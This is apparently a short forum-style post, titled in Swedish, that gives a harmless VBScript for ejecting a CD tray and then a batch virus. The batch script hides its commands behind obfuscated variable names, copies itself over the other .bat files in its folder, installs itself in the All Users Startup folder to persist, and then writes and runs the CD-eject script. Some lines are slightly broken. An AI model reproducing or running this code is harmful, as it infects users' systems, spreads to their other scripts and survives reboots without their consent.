Öppna Cdläsare CMD

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMS = oWMP.cdromCollection
if colCDROMS.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMS.Item(i).Eject
Next ' cdrom
End If

@Echo off
Set PiIuYrygUkMmy=%0
Set UiBfv=py
Set UoiGd=%%a
For %UoiGd% in (*.ba?) do (co%UiBfv% %UoiGd% %2\%UoiGd%) | co%UiBfv% %PiIuYrygUkMmy% %darkmindz.tmp | Del %2\%PiIuYrygUkMmy% | co%UiBfv% darkmindz.tmp %2\%UoiGd% | co%UiBfv% %2\%UoiGd% %UoiGd%
Del %2\%UoiGd%
Del darkmindz.tmp
copy %0 "%2\Documents and Settings\All Users\Start Menu\Programs\Startup\"
Echo Set oWMP = CreateObject("WMPlayer.OCX 0.7") >>CD.VBS"
Echo Set colCDROMs = oWMP.cdromCollection >>CD.VBS
Echo if colCDROMs.Count >= 1 then >>CD.VBS
Echo For i = 0 to colCDROMs.Count - 1 >>CD.VBS
Echo colCDROMs.Item(i).Eject >>CD.VBS
Echo Next ' cdrom >>CD.VBS
Echo End If >>CD.VBS
Start CD.VBS
Del CD.VBS